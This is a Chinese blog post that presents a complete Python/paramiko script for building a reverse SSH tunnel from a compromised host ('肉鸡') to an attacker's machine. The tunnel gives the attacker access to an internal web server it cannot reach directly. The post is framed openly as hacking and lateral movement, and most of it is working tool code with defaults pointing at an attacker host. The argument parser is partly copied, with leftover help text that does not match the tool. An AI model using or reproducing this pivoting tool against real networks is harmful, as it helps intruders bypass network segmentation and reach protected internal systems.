首页 > 编程语言 >Python黑客编程之SSH反向隧道

Python黑客编程之SSH反向隧道

时间:2023-02-05 22:01:57浏览次数:50  
标签:remote Python chan server host 黑客 SSH port ssh

目的

  • 情况假设:攻击机A可以访问肉鸡B,肉鸡B可以访问内网web服务器C,但是攻击机没法直接访问web服务器C
  • 办法:在攻击机A和肉鸡B上建立ssh隧道,将web服务器C的端口8080映射到攻击机A本地端口8999,然后在A本地浏览器访问localhost:8080,即可浏览C的网站
  • 技术实现:用paramiko建立ssh连接,具体来说在B上搭建客户端,A上搭建服务端(也可利用kali等本身的ssh服务),B同A建立反向ssh连接,再将C某一端口的所有tcp流量通过B的ssh端口,转发给A的制定端口,实现端口映射

代码

main函数

  • 用来将B的ssh客户端连接到A的ssh服务端
def main():
    options, server, remote = parse_options()
    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    print(f'Connecting to ssh host {server[0]}:{server[1]}')
    try:
        client.connect(server[0],
                       server[1],
                       username=options.user,
                       key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys,
                       password=password,
                       allow_agent=False)
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
        sys.exit(1)

    print(f"Now forwarding port {options.port} to {remote[0]}: {remote[1]}")

    try:
        reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
    except KeyboardInterrupt:
        print("Port forwarding stopped.")
        sys.exit(0)

reverse_forward_tunnel函数

  • transport用来加密,channel用来通信
  • request_port_forward函数: 用来将攻击机A指定端口的所有tcp流量通过ssh端口转发给肉鸡B,这里是第一次转发
  • 一旦指定端口有流量,则transport.accept()解除阻塞,在A和B之间建立新的连接chan,同时启用一个新线程chan_handler
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward('', server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        chan_thread = threading.Thread(target=chan_handler, args=(chan, remote_host, remote_port))
        chan_thread.setDaemon(True)
        chan_thread.start()

chan_handler函数

  • 在肉鸡B和目标机器C之间建立socket连接
  • 此时总共有两个连接,A和B的额连接chan,B和C的连接sock,B在中间起到转发的作用,这里是第二次转发
  • 使用select来判断连接描述符是否可读可写,降低阻塞,如果chan或者sock二者其一可读,则从此端读,将内容发送到另一端
def chan_handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        print("Forwarding request failed")
        return
    print(f"Connected! Tunnel open {chan.origin_addr} -> {chan.getpeername()} -> {host, port}")
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    print(f"Tunnel closed from {chan.origin_addr}")

parse_options函数

  • 抄的,用来解析命令行参数
def parse_options():
    HELP = """\
    Set up a forward tunnel across an SSH server, using paramiko. A local port
    (given with -p) is forwarded across an SSH session to an address:port from
    the SSH server. This is similar to the openssh -L option.
    """
    parser = OptionParser(
        usage="usage: python update.py 111111.test",
        version="%prog 1.0",
        description=HELP,
    )
    parser.add_option(
        "-q",
        "--quiet",
        action="store_false",
        dest="verbose",
        default=True,
        help="squelch all informational output",
    )
    parser.add_option(
        "-p",
        "--local-port",
        action="store",
        type="int",
        dest="port",
        default=4151,
        help="local port to forward (default: %d)" % 4151,
    )
    parser.add_option(
        "-u",
        "--user",
        action="store",
        type="string",
        dest="user",
        default='hex',
        help="username for SSH authentication (default: %s)"
             % getpass.getuser(),
    )
    parser.add_option(
        "-K",
        "--key",
        action="store",
        type="string",
        dest="keyfile",
        default=None,
        help="private key file to use for SSH authentication",
    )
    parser.add_option(
        "",
        "--no-key",
        action="store_false",
        dest="look_for_keys",
        default=False,
        help="don't look for or use a private key file",
    )
    parser.add_option(
        "-P",
        "--password",
        action="store",
        dest="readpass",
        default='xxxxx',
        help="read password (for key or password auth) from stdin",
    )
    parser.add_option(
        "-r",
        "--remote",
        action="store",
        type="string",
        dest="remote",
        default='192.168.2.159:1111',
        metavar="host:port",
        help="remote host and port to forward to",
    )
    parser.add_option(
        "-s",
        "--ssh-host",
        action="store",
        type="string",
        dest="ssh_host",
        default='222.22.22.22:1111',
        metavar="host:port",
        help="ssh host and port",
    )
    parser.add_option(
        "-d",
        "--device-type",
        action="store",
        type="string",
        dest="device_type",
        default='device',
        help="group or device",
    )
    parser.add_option(
        "-i",
        "--device-ids",
        action="store",
        type="string",
        dest="device_ids",
        default=None,
        help="deveice ids",
    )
    parser.add_option(
        "-w",
        "--wait-second",
        action="store",
        type="int",
        dest="wait_second",
        default=120,
        help="wait_second",
    )

    options, args = parser.parse_args()

    if options.remote is None:
        parser.error("Remote address required (-r).")

    server_host, server_port = get_host_port(options.ssh_host)
    remote_host, remote_port = get_host_port(options.remote)
    return options, (server_host, server_port), (remote_host, remote_port)

def get_host_port(spec, default_port=22):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(":", 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]

效果

  • 在肉鸡B上运行ssh客户端,同kali攻击机A建立反向ssh隧道,此时在攻击机A上打开浏览器访问localhost:8999,可以访问到运行在web服务器C上8080端口的牧马场网站

评估

  • 同样目的都是拓展访问不到的机器,相比之前tcp代理转发流量的做法,ssh加密连接更加安全可靠,并且端口映射更加简单直接
  • linux下自带的ssh客户端本身具有端口映射的功能,但考虑到windows肉鸡不一定安装ssh客户端,该ssh客户端脚本在此场景下能发挥一定用处

标签:remote,Python,chan,server,host,黑客,SSH,port,ssh
From: https://www.cnblogs.com/z5onk0/p/17093985.html

相关文章

  • python条件语句
    1、if语句:如果满足条件,则执行Aif条件:    Aif__name__=='__main__':a=2ifa==2:print('成功了')2、if-else语句:如果满足条件,则执行A;否则......
  • python去重的几种方法
     fromcollectionsimportOrderedDictlist1=[1,5,2,1,10]print(list(set(list1)))#[1,2,10,5]这种方式会改变list里面元素的位置"""先介绍fromkeys()函数......
  • python 排序的几种方式
     #python排序的方法#Python列表有一个内置的list.sort()方法可以直接修改列表list1=[1,3,5,10,2,1]list1.sort()print(list1)list1=[1,3,5,10,2,1]list......
  • python中的除法小数问题
    两种除法/在python3中,/操作符在表达式中时运行的永远是真除法,无论接受任何类型,结果都会保持小数部分。//在python3中,//操作符在表达式中时运行的永远是Floor除法,只有......
  • SSH协议中隧道与代理的用法测试
    一、测试拓扑eth1:10.1.1.100    eth0:192.168.211.130            eth0:192.168.211.138   eth1:20.1.1.200       ......
  • Docker 安装 Centos7 并开启 ssh 服务
    本文将简单记录下Docker中安装CentOS7并开启ssh服务的操作过程及命令。一、在宿主机终端下依次执行如下命令:#拉取centos7镜像dockerpullcentos:7#创建并......
  • Python正则表达式
    一、正则表达式正则:用来匹配字符串的一门表达式语言1.正则支持普通字符2.元字符(一个字符来匹配一堆内容)\d能够匹配一个数字(0-9)\w能够匹配数字、字母、下划线(0-9,a......
  • 【Python学习004】Pythonic代码风格(一)
    Pythonic代码风格(一)大家好,我们的gzh是朝阳三只大明白,满满全是干货,分享近期的学习知识以及个人总结(包括读研和IT),跪求一波关注,希望和大家一起努力、进步!!命名命名的核心目的在......
  • 用GPU来运行Python代码
    简介前几天捣鼓了一下Ubuntu,正是想用一下我旧电脑上的N卡,可以用GPU来跑代码,体验一下多核的快乐。还好我这破电脑也是支持Cuda的:$sudolshw-Cdisplay*-display......
  • 【python装饰器:参数,顺序,场景】
    一、装饰器是什么?装饰器,顾名思义,就是增强函数或类的功能的一个函数。作用:在不修改功能代码的同时,给代码扩展新的功能,可以装饰函数,也可以装饰类。举个例子:如何计算函数的执......